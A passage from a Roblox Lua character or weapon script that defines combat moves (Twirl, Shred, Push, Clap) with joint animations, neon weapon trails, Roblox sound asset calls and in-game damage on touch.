  3814. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3815. Trail.TopSurface = 0
  3816. Trail.BottomSurface = 0
  3817. Trail.formFactor = "Custom"
  3818. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3819. local ms = Instance.new("BlockMesh",Trail)
  3820. ms.Scale = Vector3.new(1,1,1)
  3821. local TM = Instance.new("CylinderMesh",Trail)
  3822. TM.Scale = Vector3.new(1,1,1)
  3823. Old = New
  3824. coroutine.wrap(function()
  3825. for i = 1,0,-0.1 do
  3826. wait()
  3827. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3828. end
  3829. Trail:remove()
  3830. end)()
  3831. coroutine.wrap(function()
  3832. for i = 1,10 do
  3833. wait()
  3834. Trail.Transparency = Trail.Transparency +0.1
  3835. end end)()end end)()
  3836. Footsteps:Stop()
  3837. Footsteps2:Stop()
  3838. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3839. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3840. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3841. for i=0,1,0.1 do
  3842. swait()
  3843. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3844. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3845. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3846. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3847. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3848. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3849. end
  3850. if anim then
  3851. anim.Disabled=true
  3852. end
  3853. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3854. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3855. for i=0,1,0.05 do
  3856. swait()
  3857. Torso.Velocity=RootPart.CFrame.lookVector*100
  3858. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3859. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3860. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3861. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3862. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3863. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3864. end
  3865. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3866. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3867. for i=0,1,0.05 do
  3868. swait()
  3869. Torso.Velocity=RootPart.CFrame.lookVector*100
  3870. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3871. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3872. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3873. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3874. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3875. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3876. end
  3877. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3878. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3879. for i=0,1,0.05 do
  3880. swait()
  3881. Torso.Velocity=RootPart.CFrame.lookVector*100
  3882. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3883. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3884. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3885. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3886. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3887. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3888. end
  3889. --dmgstop()
  3890. Humanoid.WalkSpeed=12
  3891. attack=false
  3892. con1:disconnect()
  3893. con2:disconnect()
  3894. if anim then
  3895. anim.Disabled=false
  3896. end
  3897. if TrailDeb == true then
  3898. TrailDeb = false
  3899. end
  3900. end
  3901.  
  3902. function Twirl()
  3903. mana=mana-50
  3904. attack=true
  3905. if TrailDeb == false then
  3906. TrailDeb = true
  3907. end
  3908.  
  3909.  
  3910. coroutine.wrap(function()
  3911. local Old = Handle2.CFrame.p
  3912. while wait()do
  3913. if not TrailDeb then break end
  3914. local New = Handle2.CFrame.p
  3915. local Mag =(Old -New).magnitude
  3916. local Dis =(Old +New)/2
  3917. local Trail = Instance.new("Part",Character)
  3918. Trail.Material = "Neon"
  3919. Trail.Anchored = true
  3920. Trail.CanCollide = false
  3921. Trail.BrickColor = TorsoColor
  3922. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3923. Trail.TopSurface = 0
  3924. Trail.BottomSurface = 0
  3925. Trail.formFactor = "Custom"
  3926. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3927. local ms = Instance.new("BlockMesh",Trail)
  3928. ms.Scale = Vector3.new(1,1,1)
  3929. local TM = Instance.new("CylinderMesh",Trail)
  3930. TM.Scale = Vector3.new(1,1,1)
  3931. Old = New
  3932. coroutine.wrap(function()
  3933. for i = 1,0,-0.1 do
  3934. wait()
  3935. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3936. end
  3937. Trail:remove()
  3938. end)()
  3939. coroutine.wrap(function()
  3940. for i = 1,10 do
  3941. wait()
  3942. Trail.Transparency = Trail.Transparency +0.1
  3943. end end)()end end)()
  3944. coroutine.wrap(function()
  3945. local Old = Handle.CFrame.p
  3946. while wait()do
  3947. if not TrailDeb then break end
  3948. local New = Handle.CFrame.p
  3949. local Mag =(Old -New).magnitude
  3950. local Dis =(Old +New)/2
  3951. local Trail = Instance.new("Part",Character)
  3952. Trail.Material = "Neon"
  3953. Trail.Anchored = true
  3954. Trail.CanCollide = false
  3955. Trail.BrickColor = TorsoColor
  3956. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3957. Trail.TopSurface = 0
  3958. Trail.BottomSurface = 0
  3959. Trail.formFactor = "Custom"
  3960. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3961. local ms = Instance.new("BlockMesh",Trail)
  3962. ms.Scale = Vector3.new(1,1,1)
  3963. local TM = Instance.new("CylinderMesh",Trail)
  3964. TM.Scale = Vector3.new(1,1,1)
  3965. Old = New
  3966. coroutine.wrap(function()
  3967. for i = 1,0,-0.1 do
  3968. wait()
  3969. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3970. end
  3971. Trail:remove()
  3972. end)()
  3973. coroutine.wrap(function()
  3974. for i = 1,10 do
  3975. wait()
  3976. Trail.Transparency = Trail.Transparency +0.1
  3977. end end)()end end)()
  3978. Footsteps:Stop()
  3979. Footsteps2:Stop()
  3980. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3981. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3982. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3983. for i=0,1,0.1 do
  3984. swait()
  3985. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3986. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3987. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3988. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3989. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3990. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3991. end
  3992. if anim then
  3993. anim.Disabled=true
  3994. end
  3995. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3996. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3997. for i=0,1,0.05 do
  3998. swait()
  3999. Torso.Velocity=RootPart.CFrame.lookVector*80
  4000. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4001. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4002. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4003. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4004. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4005. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4006. end
  4007. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4008. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4009. for i=0,1,0.05 do
  4010. swait()
  4011. Torso.Velocity=RootPart.CFrame.lookVector*80
  4012. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4013. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4014. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4015. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4016. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4017. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4018. end
  4019. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4020. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4021. for i=0,1,0.05 do
  4022. swait()
  4023. Torso.Velocity=RootPart.CFrame.lookVector*80
  4024. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4025. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4026. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4027. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4028. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4029. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4030. end
  4031. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4032. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4033. for i=0,1,0.05 do
  4034. swait()
  4035. Torso.Velocity=RootPart.CFrame.lookVector*80
  4036. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4037. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4038. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4039. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4040. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4041. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4042. end
  4043. --dmgstop()
  4044. Humanoid.WalkSpeed=12
  4045. attack=false
  4046. con1:disconnect()
  4047. con2:disconnect()
  4048. if anim then
  4049. anim.Disabled=false
  4050. end
  4051. if TrailDeb == true then
  4052. TrailDeb = false
  4053. end
  4054. end
  4055.  
  4056. function Shred()
  4057. attack=true
  4058. mana=mana-100
  4059. if TrailDeb == false then
  4060. TrailDeb = true
  4061. end
  4062.  
  4063.  
  4064. coroutine.wrap(function()
  4065. local Old = Handle2.CFrame.p
  4066. while wait()do
  4067. if not TrailDeb then break end
  4068. local New = Handle2.CFrame.p
  4069. local Mag =(Old -New).magnitude
  4070. local Dis =(Old +New)/2
  4071. local Trail = Instance.new("Part",Character)
  4072. Trail.Material = "Neon"
  4073. Trail.Anchored = true
  4074. Trail.CanCollide = false
  4075. Trail.BrickColor = TorsoColor
  4076. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4077. Trail.TopSurface = 0
  4078. Trail.BottomSurface = 0
  4079. Trail.formFactor = "Custom"
  4080. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4081. local ms = Instance.new("BlockMesh",Trail)
  4082. ms.Scale = Vector3.new(1,1,1)
  4083. local TM = Instance.new("CylinderMesh",Trail)
  4084. TM.Scale = Vector3.new(1,1,1)
  4085. Old = New
  4086. coroutine.wrap(function()
  4087. for i = 1,0,-0.1 do
  4088. wait()
  4089. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4090. end
  4091. Trail:remove()
  4092. end)()
  4093. coroutine.wrap(function()
  4094. for i = 1,10 do
  4095. wait()
  4096. Trail.Transparency = Trail.Transparency +0.1
  4097. end end)()end end)()
  4098. coroutine.wrap(function()
  4099. local Old = Handle.CFrame.p
  4100. while wait()do
  4101. if not TrailDeb then break end
  4102. local New = Handle.CFrame.p
  4103. local Mag =(Old -New).magnitude
  4104. local Dis =(Old +New)/2
  4105. local Trail = Instance.new("Part",Character)
  4106. Trail.Material = "Neon"
  4107. Trail.Anchored = true
  4108. Trail.CanCollide = false
  4109. Trail.BrickColor = TorsoColor
  4110. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4111. Trail.TopSurface = 0
  4112. Trail.BottomSurface = 0
  4113. Trail.formFactor = "Custom"
  4114. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4115. local ms = Instance.new("BlockMesh",Trail)
  4116. ms.Scale = Vector3.new(1,1,1)
  4117. local TM = Instance.new("CylinderMesh",Trail)
  4118. TM.Scale = Vector3.new(1,1,1)
  4119. Old = New
  4120. coroutine.wrap(function()
  4121. for i = 1,0,-0.1 do
  4122. wait()
  4123. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4124. end
  4125. Trail:remove()
  4126. end)()
  4127. coroutine.wrap(function()
  4128. for i = 1,10 do
  4129. wait()
  4130. Trail.Transparency = Trail.Transparency +0.1
  4131. end end)()end end)()
  4132. Footsteps:Stop()
  4133. Footsteps2:Stop()
  4134. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4135. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4136. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4137. for i=0,1,0.1 do
  4138. swait()
  4139. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4140. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4141. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4142. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4143. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4144. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4145. end
  4146. if anim then
  4147. anim.Disabled=true
  4148. end
  4149. for i=0,1,0.05 do
  4150. swait()
  4151. Torso.Velocity=RootPart.CFrame.lookVector*20
  4152. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4153. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4154. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4155. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4156. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4157. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4158. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4159. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4160. end
  4161. for i=0,1,0.05 do
  4162. swait()
  4163. Torso.Velocity=RootPart.CFrame.lookVector*40
  4164. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4165. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4166. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4167. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4168. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4169. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4170. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4171. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4172. end
  4173. for i=0,1,0.05 do
  4174. swait()
  4175. Torso.Velocity=RootPart.CFrame.lookVector*60
  4176. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4177. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4178. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4179. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4180. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4181. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4182. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4183. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4184. end
  4185. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4186. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4187. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4188. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4189. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4190. for i=0,1,0.05 do
  4191. swait()
  4192. Torso.Velocity=RootPart.CFrame.lookVector*80
  4193. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4194. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4195. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4196. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4197. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4198. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4199. end
  4200. for i=0,1,0.005 do
  4201. swait()
  4202. Torso.Velocity=RootPart.CFrame.lookVector*100
  4203. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4204. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4205. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4206. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4207. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4208. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4209. end
  4210. --dmgstop()
  4211. Humanoid.WalkSpeed=12
  4212. attack=false
  4213. con1:disconnect()
  4214. con2:disconnect()
  4215. if anim then
  4216. anim.Disabled=false
  4217. end
  4218. if TrailDeb == true then
  4219. TrailDeb = false
  4220. end
  4221. end
  4222.  
  4223. function Push()
  4224. attack=true
  4225. mana=mana-20
  4226. if TrailDeb == false then
  4227. TrailDeb = true
  4228. end
  4229.  
  4230.  
  4231. coroutine.wrap(function()
  4232. local Old = Handle2.CFrame.p
  4233. while wait()do
  4234. if not TrailDeb then break end
  4235. local New = Handle2.CFrame.p
  4236. local Mag =(Old -New).magnitude
  4237. local Dis =(Old +New)/2
  4238. local Trail = Instance.new("Part",Character)
  4239. Trail.Material = "Neon"
  4240. Trail.Anchored = true
  4241. Trail.CanCollide = false
  4242. Trail.BrickColor = TorsoColor
  4243. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4244. Trail.TopSurface = 0
  4245. Trail.BottomSurface = 0
  4246. Trail.formFactor = "Custom"
  4247. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4248. local ms = Instance.new("BlockMesh",Trail)
  4249. ms.Scale = Vector3.new(1,1,1)
  4250. local TM = Instance.new("CylinderMesh",Trail)
  4251. TM.Scale = Vector3.new(1,1,1)
  4252. Old = New
  4253. coroutine.wrap(function()
  4254. for i = 1,0,-0.1 do
  4255. wait()
  4256. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4257. end
  4258. Trail:remove()
  4259. end)()
  4260. coroutine.wrap(function()
  4261. for i = 1,10 do
  4262. wait()
  4263. Trail.Transparency = Trail.Transparency +0.1
  4264. end end)()end end)()
  4265. coroutine.wrap(function()
  4266. local Old = Handle.CFrame.p
  4267. while wait()do
  4268. if not TrailDeb then break end
  4269. local New = Handle.CFrame.p
  4270. local Mag =(Old -New).magnitude
  4271. local Dis =(Old +New)/2
  4272. local Trail = Instance.new("Part",Character)
  4273. Trail.Material = "Neon"
  4274. Trail.Anchored = true
  4275. Trail.CanCollide = false
  4276. Trail.BrickColor = TorsoColor
  4277. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4278. Trail.TopSurface = 0
  4279. Trail.BottomSurface = 0
  4280. Trail.formFactor = "Custom"
  4281. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4282. local ms = Instance.new("BlockMesh",Trail)
  4283. ms.Scale = Vector3.new(1,1,1)
  4284. local TM = Instance.new("CylinderMesh",Trail)
  4285. TM.Scale = Vector3.new(1,1,1)
  4286. Old = New
  4287. coroutine.wrap(function()
  4288. for i = 1,0,-0.1 do
  4289. wait()
  4290. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4291. end
  4292. Trail:remove()
  4293. end)()
  4294. coroutine.wrap(function()
  4295. for i = 1,10 do
  4296. wait()
  4297. Trail.Transparency = Trail.Transparency +0.1
  4298. end end)()end end)()
  4299. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4300. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4301. for i=0,1,0.1 do
  4302. swait()
  4303. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4304. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4305. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4306. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4307. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4308. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4309. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4310. end
  4311. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4312. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4313. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4314. for i=0,1,0.1 do
  4315. swait()
  4316. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4317. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4318. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4319. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4320. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4321. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4322. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4323. end
  4324. --dmgstop()
  4325. attack=false
  4326. con1:disconnect()
  4327. con2:disconnect()
  4328. if TrailDeb == true then
  4329. TrailDeb = false
  4330. end
  4331. end
  4332.  
  4333. function Clap()
  4334. attack=true
  4335. mana=mana-20
  4336. if TrailDeb == false then
  4337. TrailDeb = true
  4338. end
  4339.  
  4340.  
  4341. coroutine.wrap(function()
  4342. local Old = Handle2.CFrame.p
  4343. while wait()do
  4344. if not TrailDeb then break end
  4345. local New = Handle2.CFrame.p
  4346. local Mag =(Old -New).magnitude
  4347. local Dis =(Old +New)/2
  4348. local Trail = Instance.new("Part",Character)
  4349. Trail.Material = "Neon"
  4350. Trail.Anchored = true
  4351. Trail.CanCollide = false
  4352. Trail.BrickColor = TorsoColor
  4353. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4354. Trail.TopSurface = 0
  4355. Trail.BottomSurface = 0
  4356. Trail.formFactor = "Custom"
  4357. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4358. local ms = Instance.new("BlockMesh",Trail)
  4359. ms.Scale = Vector3.new(1,1,1)
